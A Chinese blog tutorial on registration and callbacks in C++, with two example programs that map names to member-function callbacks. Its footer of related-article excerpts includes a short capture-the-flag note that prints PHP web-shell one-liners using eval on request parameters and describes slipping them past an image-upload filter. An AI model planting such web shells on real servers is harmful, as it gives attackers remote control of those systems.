注册与回调

C++ 再谈谈注册(本质是建立映射)与回调

  在之前的博文中, 我们探讨过映射的重要作用, 请直接看:http://blog.csdn.net/stpeace/article/details/39452203, 在那篇文章中, 我们是用STL中的map来做的, map建立的是key-value映射, 在本文中, 我们自己来建立映射, 并讨论一个更为复杂的程序, 顺便再次复习一下注册与回调。

注册与回调? 有那么复杂么?没有必要过多地扯了, 直接上代码:

复制代码

  1 #include <iostream>2 #include <vector>3 using namespace std;4  5 // 前向声明6 class BasicMod;7  8  9 //类函数指针类型10 typedef void (BasicMod:: *PFun)(const char* pParaName); 11  12  13 // 映射结点14 typedef struct15 {16     BasicMod *pMod;17     char szParaName[1024];18     PFun operTypeOne;19     PFun operTypeTwo;20     PFun operTypeThree;21 }MyMap;22  23  24 // 用全局的g_pv保存结点指针25 vector<MyMap *> g_pv;26  27  28 // 执行类, 提供注册, 查找接口, 并执行回调操作29 class Do30 {31 public:32     // 单例33     static Do *getInstance()34     {35         static Do *p = NULL;36         if(NULL == p)37         {38             p = new Do;39         }40  41         return p;42     }43  44     // 注册接口45     void regNode(BasicMod *pb, MyMap *pmap, int i)46     {47         MyMap *p = new MyMap;48         p->pMod = pb;49         memset(p->szParaName, 0, sizeof(p->szParaName));50         strncpy(p->szParaName, (pmap + i)->szParaName, sizeof(p->szParaName) - 1);51         p->operTypeOne = (pmap + i)->operTypeOne;52         p->operTypeTwo = (pmap + i)->operTypeTwo;53         p->operTypeThree = (pmap + i)->operTypeThree;54  55         g_pv.push_back(p);56     }57  58     // 查找接口59     MyMap *findNode(const char *pParaName)60     {61         int n = g_pv.size();62         int i = 0;63         for(i = 0; i < n; i++)64         {65             if(0 == strcmp(g_pv[i]->szParaName, pParaName))66             {67                 return g_pv[i];68             }69         }70  71         return NULL;72     }73  74     // 执行回调操作75     void exect(const char *pParaName)76     {77         MyMap *p = findNode(pParaName);78         if(NULL != p && NULL != p->pMod)79         {80             ((p->pMod)->*(p->operTypeOne))(pParaName);81             ((p->pMod)->*(p->operTypeTwo))(pParaName);82             ((p->pMod)->*(p->operTypeThree))(pParaName);83         }84     }85 };86  87  88 // 基类89 class BasicMod90 {91 public:92     void reg(BasicMod *pm, MyMap *p, int i)93     {94         Do::getInstance()->regNode(pm, p, i);    95     }96 };97  98  99 // 格式化
100 #define TOGETHER(mod, name, f1, f2, f3) {NULL, name, (PFun)(&mod::f1), (PFun)(&mod::f2), (PFun)(&mod::f3)}
101  
102  
103 // 模块1
104 class Mod1 : public BasicMod
105 {
106 public:
107     static Mod1* getInstance()
108     {
109         static Mod1* p = NULL;
110         if(NULL == p)
111         {
112             p = new Mod1;
113         }
114  
115         return p;
116     }
117  
118     // 模块1的初始化
119     void init()
120     {
121         MyMap mapArr[] = 
122         {
123             TOGETHER(Mod1, "cpu", fun1Cpu, fun2Cpu, fun3Cpu),
124         };
125  
126         int n = sizeof(mapArr) / sizeof(mapArr[0]);
127         int i = 0;
128         for(i = 0; i < n; i++)
129         {
130             // 注册
131             reg(getInstance(), mapArr, i);
132         }
133     }
134  
135     // 提供回调接口
136     void fun1Cpu(const char *pParaName)
137     {
138         cout << "mod1, pParaName is " << pParaName << endl;
139     }
140  
141     // 提供回调接口
142     void fun2Cpu(const char *pParaName)
143     {
144         cout << "mod1, pParaName is " << pParaName << endl;
145     }
146  
147     // 提供回调接口
148     void fun3Cpu(const char *pParaName)
149     {
150         cout << "mod1, pParaName is " << pParaName << endl;
151     }
152 };
153  
154  
155 class Mod2 : public BasicMod
156 {
157 public:
158     static Mod2* getInstance()
159     {
160         static Mod2* p = NULL;
161         if(NULL == p)
162         {
163             p = new Mod2;
164         }
165  
166         return p;
167     }
168  
169     void init()
170     {
171         MyMap mapArr[] = 
172         {
173             TOGETHER(Mod2, "flash", fun1Flash, fun2Flash, fun3Flash),
174         };
175  
176         int n = sizeof(mapArr) / sizeof(mapArr[0]);
177         int i = 0;
178         for(i = 0; i < n; i++)
179         {
180             reg(getInstance(), mapArr, i);
181         }
182     }
183  
184     void fun1Flash(const char *pParaName)
185     {
186         cout << "mod2, pParaName is " << pParaName << endl;
187     }
188  
189     void fun2Flash(const char *pParaName)
190     {
191         cout << "mod2, pParaName is " << pParaName << endl;
192     }
193  
194     void fun3Flash(const char *pParaName)
195     {
196         cout << "mod2, pParaName is " << pParaName << endl;
197     }
198 };
199  
200  
201 int main()
202 {
203     // 模块初始化
204     Mod1::getInstance()->init();
205     Mod2::getInstance()->init();
206  
207     // 执行操作
208     Do::getInstance()->exect("cpu");
209     Do::getInstance()->exect("flash");
210     Do::getInstance()->exect("mem");
211  
212     return 0;
213 }

复制代码

程序的结果为:

mod1, pParaName is cpu
mod1, pParaName is cpu
mod1, pParaName is cpu
mod2, pParaName is flash
mod2, pParaName is flash
mod2, pParaName is flash

我们也可以对上述程序作一下等价变换, 得到:

复制代码

  1 #include <iostream>2 #include <vector>3 using namespace std;4  5 // 前向声明6 class BasicMod;7  8  9 //类函数指针类型10 typedef void (BasicMod:: *PFun)(const char* pParaName); 11  12  13 // 映射结点14 typedef struct15 {16     BasicMod *pMod;17     char szParaName[1024];18     PFun operTypeOne;19     PFun operTypeTwo;20     PFun operTypeThree;21 }MyMap;22  23  24 // 用全局的g_pv保存结点指针25 vector<MyMap *> g_pv;26  27  28 // 执行类, 提供注册, 查找接口, 并执行回调操作29 class Do30 {31 public:32     // 单例33     static Do *getInstance()34     {35         static Do *p = NULL;36         if(NULL == p)37         {38             p = new Do;39         }40  41         return p;42     }43  44     // 注册接口45     void regNode(BasicMod *pm, const char *pParaName, PFun one, PFun two, PFun three)46     {47         MyMap *p = new MyMap;48         p->pMod = pm;49         memset(p->szParaName, 0, sizeof(p->szParaName));50         strncpy(p->szParaName, pParaName, sizeof(p->szParaName) - 1);51         p->operTypeOne = one;52         p->operTypeTwo = two;53         p->operTypeThree = three;54  55         g_pv.push_back(p);56     }57  58     // 查找接口59     MyMap *findNode(const char *pParaName)60     {61         int n = g_pv.size();62         int i = 0;63         for(i = 0; i < n; i++)64         {65             if(0 == strcmp(g_pv[i]->szParaName, pParaName))66             {67                 return g_pv[i];68             }69         }70  71         return NULL;72     }73  74     // 执行回调操作75     void exect(const char *pParaName)76     {77         MyMap *p = findNode(pParaName);78         if(NULL != p && NULL != p->pMod)79         {80             ((p->pMod)->*(p->operTypeOne))(pParaName);81             ((p->pMod)->*(p->operTypeTwo))(pParaName);82             ((p->pMod)->*(p->operTypeThree))(pParaName);83         }84     }85 };86  87  88 // 基类89 class BasicMod90 {91 public:92     void reg(const char *pParaName, PFun one, PFun two, PFun three)93     {94         Do::getInstance()->regNode(this, pParaName, one, two, three);    95     }96 };97  98  99 // 格式化
100 #define TOGETHER(mod, name, f1, f2, f3) {NULL, name, (PFun)(&mod::f1), (PFun)(&mod::f2), (PFun)(&mod::f3)}
101  
102  
103 // 模块1
104 class Mod1 : public BasicMod
105 {
106 public:
107     static Mod1* getInstance()
108     {
109         static Mod1* p = NULL;
110         if(NULL == p)
111         {
112             p = new Mod1;
113         }
114  
115         return p;
116     }
117  
118     // 模块1的初始化
119     void init()
120     {
121         MyMap mapArr[] = 
122         {
123             TOGETHER(Mod1, "cpu", fun1Cpu, fun2Cpu, fun3Cpu),
124         };
125  
126         int n = sizeof(mapArr) / sizeof(mapArr[0]);
127         int i = 0;
128         for(i = 0; i < n; i++)
129         {
130             // 注册
131             reg(mapArr[i].szParaName, mapArr[i].operTypeOne, mapArr[i].operTypeTwo, mapArr[i].operTypeThree);
132         }
133     }
134  
135     // 提供回调接口
136     void fun1Cpu(const char *pParaName)
137     {
138         cout << "mod1, pParaName is " << pParaName << endl;
139     }
140  
141     // 提供回调接口
142     void fun2Cpu(const char *pParaName)
143     {
144         cout << "mod1, pParaName is " << pParaName << endl;
145     }
146  
147     // 提供回调接口
148     void fun3Cpu(const char *pParaName)
149     {
150         cout << "mod1, pParaName is " << pParaName << endl;
151     }
152 };
153  
154  
155 class Mod2 : public BasicMod
156 {
157 public:
158     static Mod2* getInstance()
159     {
160         static Mod2* p = NULL;
161         if(NULL == p)
162         {
163             p = new Mod2;
164         }
165  
166         return p;
167     }
168  
169     void init()
170     {
171         MyMap mapArr[] = 
172         {
173             TOGETHER(Mod2, "flash", fun1Flash, fun2Flash, fun3Flash),
174         };
175  
176         int n = sizeof(mapArr) / sizeof(mapArr[0]);
177         int i = 0;
178         for(i = 0; i < n; i++)
179         {
180             reg(mapArr[i].szParaName, mapArr[i].operTypeOne, mapArr[i].operTypeTwo, mapArr[i].operTypeThree);
181         }
182     }
183  
184     void fun1Flash(const char *pParaName)
185     {
186         cout << "mod2, pParaName is " << pParaName << endl;
187     }
188  
189     void fun2Flash(const char *pParaName)
190     {
191         cout << "mod2, pParaName is " << pParaName << endl;
192     }
193  
194     void fun3Flash(const char *pParaName)
195     {
196         cout << "mod2, pParaName is " << pParaName << endl;
197     }
198 };
199  
200  
201 int main()
202 {
203     // 模块初始化
204     Mod1::getInstance()->init();
205     Mod2::getInstance()->init();
206  
207     // 执行操作
208     Do::getInstance()->exect("cpu");
209     Do::getInstance()->exect("flash");
210     Do::getInstance()->exect("mem");
211  
212     return 0;
213 }

复制代码

我们看到, 上述程序建立了一个name对于{f1, f2, f3}的映射, 适用范围更广。

而且, 以后如果再加字段, 程序猿只需要注意三处即可: 1. 增加initialize函数中数组中的项(增加映射);2. 在类中实现回调接口(增加回调接口); 3.在main中启动调用(启动执行)。

当然啦, 如果要增加模块3, 那也是很easy的。

反思一下:我突然发现, 我把上面的程序写复杂了, 其实, 也可以用STL map建立name到f1, f2, f3的映射, 此时, 要把{f1, f2, f3}看成一个整体, 上述程序用STL map进行改造后, 会更好, 有兴趣的朋友可以试试。 我相信: 一次刻骨铭心的体验胜过千百次说教。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/219014.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGLM-6B模型结构组件源码阅读

一、前言 本文将介绍ChatGLM-6B的模型结构组件源码。 代练链接&#xff1a;https://huggingface.co/THUDM/chatglm-6b/blob/main/modeling_chatglm.py 二、激活函数 torch.jit.script def gelu_impl(x):"""OpenAIs gelu implementation."""r…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag

【MyBatis-Plus】MyBatis进阶使用

目录 一、MyBatis-Plus简介 1.1 介绍 1.2 优点 1.3 结构 二、MyBatis-Plus基本使用 2.1 配置 2.2 代码生成 2.3 CRUD接口测试 三、MyBatis-Plus策略详解 3.1 主键生成策略 3.2 雪花ID生成器 3.3 字段自动填充策略 3.4 逻辑删除 四、MyBatis-Plus插件使用 4.1 乐…

TrustZone之完成器:外围设备和内存

到目前为止,在本指南中,我们集中讨论了处理器,但TrustZone远不止是一组处理器功能。要充分利用TrustZone功能,我们还需要系统其余部分的支持。以下是一个启用了TrustZone的系统示例: 本节探讨了该系统中的关键组件以及它们在TrustZone中的作用。 完成器:外围设备…

服务器数据恢复—raid5热备盘未激活崩溃导致上层oracle数据丢失的数据恢复案例

服务器数据恢复环境&#xff1a; 某品牌X系列服务器&#xff0c;4块SAS硬盘组建了一组RAID5阵列&#xff0c;还有1块磁盘作为热备盘使用。服务器上层安装的linux操作系统&#xff0c;操作系统上部署了一个基于oracle数据库的OA&#xff08;oracle已经不再为该OA系统提供后续服务…

【c语言】【visual studio】动态内存管理,malloc,calloc,realloc详解。

引言&#xff1a;随着大一期末的到来&#xff0c;想必许多学生都学到内存的动态管理这一部分了&#xff0c;看望这篇博客后&#xff0c;希望能解除你心中对这一章节的疑惑。 (・∀・(・∀・(・∀・*) 1.malloc详解 malloc的头文件是#include <sdtlib.h>,malloc - C Ref…

Spring Cloud + Vue前后端分离-第5章 单表管理功能前后端开发

Spring Cloud Vue前后端分离-第5章 单表管理功能前后端开发 完成单表的增删改查 控台单表增删改查的前后端开发&#xff0c;重点学习前后端数据交互&#xff0c;vue ajax库axios的使用等 通用组件开发:分页、确认框、提示框、等待框等 常用的公共组件:确认框、提示框、等待…

【Linux】多线程编程

目录 1. 线程基础知识 2. 线程创建 3. 线程ID&#xff08;TID&#xff09; 4. 线程终止 5. 线程取消 6. 线程等待 7. 线程分离 8. 线程互斥 8.1 初始化互斥量 8.2 销毁互斥量 8.3 互斥量加锁和解锁 9. 可重入和线程安全 10. 线程同步之条件变量 10.1 初始化条件变…

一文了解Tomcat

文章目录 1、Tomcat介绍2、Tomcat使用配置2.1、Tomcat下载启动2.2、Tomcat启动乱码2.3、Tomcat端口号修改 3、Tomcat项目部署4、IDEA中使用Tomcat方式 1、Tomcat介绍 什么是Tomcat ​ Tomcat是Apache软件基金会一个核心项目&#xff0c;是一个开源免费的轻量级web服务器&#x…

【算法Hot100系列】最长回文子串

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【机器学习】应用KNN实现鸢尾花种类预测

目录 前言 一、K最近邻&#xff08;KNN&#xff09;介绍 二、鸢尾花数据集介绍 三、鸢尾花数据集可视化 四、鸢尾花数据分析 总结 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Fil…

js基础入门

先来一点js基础&#xff0c;其实js大部分的时候都在处理对象或者数组。 对象四个基本操作&#xff1a;增删改查 掌握元素的增删改查&#xff0c;了解如何拷贝&#xff0c;深拷贝和浅拷贝的区别。详情见代码 <script>//创建对象一共有三种赋值声明的语法let obj{} //赋值…

大数据存储技术(3)—— HBase分布式数据库

目录 一、HBase简介 &#xff08;一&#xff09;概念 &#xff08;二&#xff09;特点 &#xff08;三&#xff09;HBase架构 二、HBase原理 &#xff08;一&#xff09;读流程 &#xff08;二&#xff09;写流程 &#xff08;三&#xff09;数据 flush 过程 &#xf…

Java stream 进阶版

1、Stream 概述 Java 8 引入了 Stream API,它是一种用于简化集合和数组操作的强大工具。Stream API 允许我们将集合或数组视为流,并在流上进行各种操作,如筛选、排序、聚合等。 Stream API 的核心概念是 Stream 流,它代表了一个数据流,其中包含了一系列的元素。这些元素…

【LeetCode刷题-排序】--179.最大数

179.最大数 思路&#xff1a; 方法&#xff1a;自定义排序 class Solution {public String largestNumber(int[] nums) {if(nums null || nums.length 0){return "";}//将每个数字转换成字符串String[] strs new String[nums.length];for(int i 0;i < nums.l…

怎样长时间保持SSH会话连接不断开?

操作场景 使用SSH方式登录CentOS Stream操作系统的云服务器时&#xff0c;过一段时间就会自动断开连接。 该文档适用于CentOS/EulerOS系统。 操作方法 编辑/etc/ssh/sshd_config文件设置心跳&#xff0c;保持连接。 编辑/etc/ssh/sshd_config&#xff0c;添加配置项&#x…

【C语言】——认识指针变量和地址,以及指针变量类型的意义

&#x1f3a5; 岁月失语唯石能言的个人主页 &#x1f525;个人栏专&#xff1a;秒懂C语言 ⭐若在许我少年时&#xff0c;一两黄金一两风 目录 前言 一、指针变量和地址 1.1 取地址操作符&#xff08;&&#xff09; 1.2 指针变量和解引用操作符&#xff…

scrapy post请求——百度翻译(十四)

scrapy处理 post 请求 爬取百度翻译界面 目录 1.创建项目及爬虫文件 2.发送post请求 1.创建项目及爬虫文件 scrapy startproject scrapy_104 scrapy genspider translate fanyi.baidu.com 2.发送请求 post请求需要传递参数&#xff0c;所以就不能用start_urls和parse函数了&…

飞天使-docker知识点6-容器dockerfile各项名词解释

文章目录 docker的小技巧dockerfile容器为什么会出现启动了不暂停查看docker 网桥相关信息 docker 数据卷 docker的小技巧 [rootlight-test playbook-vars[]# docker inspect -f "{{.NetworkSettings.IPAddress}}" d3a9ae03ae5f 172.17.0.4docker d3a9ae03ae5f:/etc…

QT----第三天,Visio stdio自定义封装控件,鼠标事件,定时器,事件分发器过滤器,绘图事件

目录 第三天1 自定义控件封装2 QT鼠标事件3 定时器4 event事件分发器5 事件过滤器6 绘图事件Qpainter 源码&#xff1a;CPP学习代码 第三天 1 自定义控件封装 新建一个QT widgetclass&#xff0c;同时生成ui,h,cpp文件 在smallWidget.ui里添加上你想要的控件并调试大小 回到…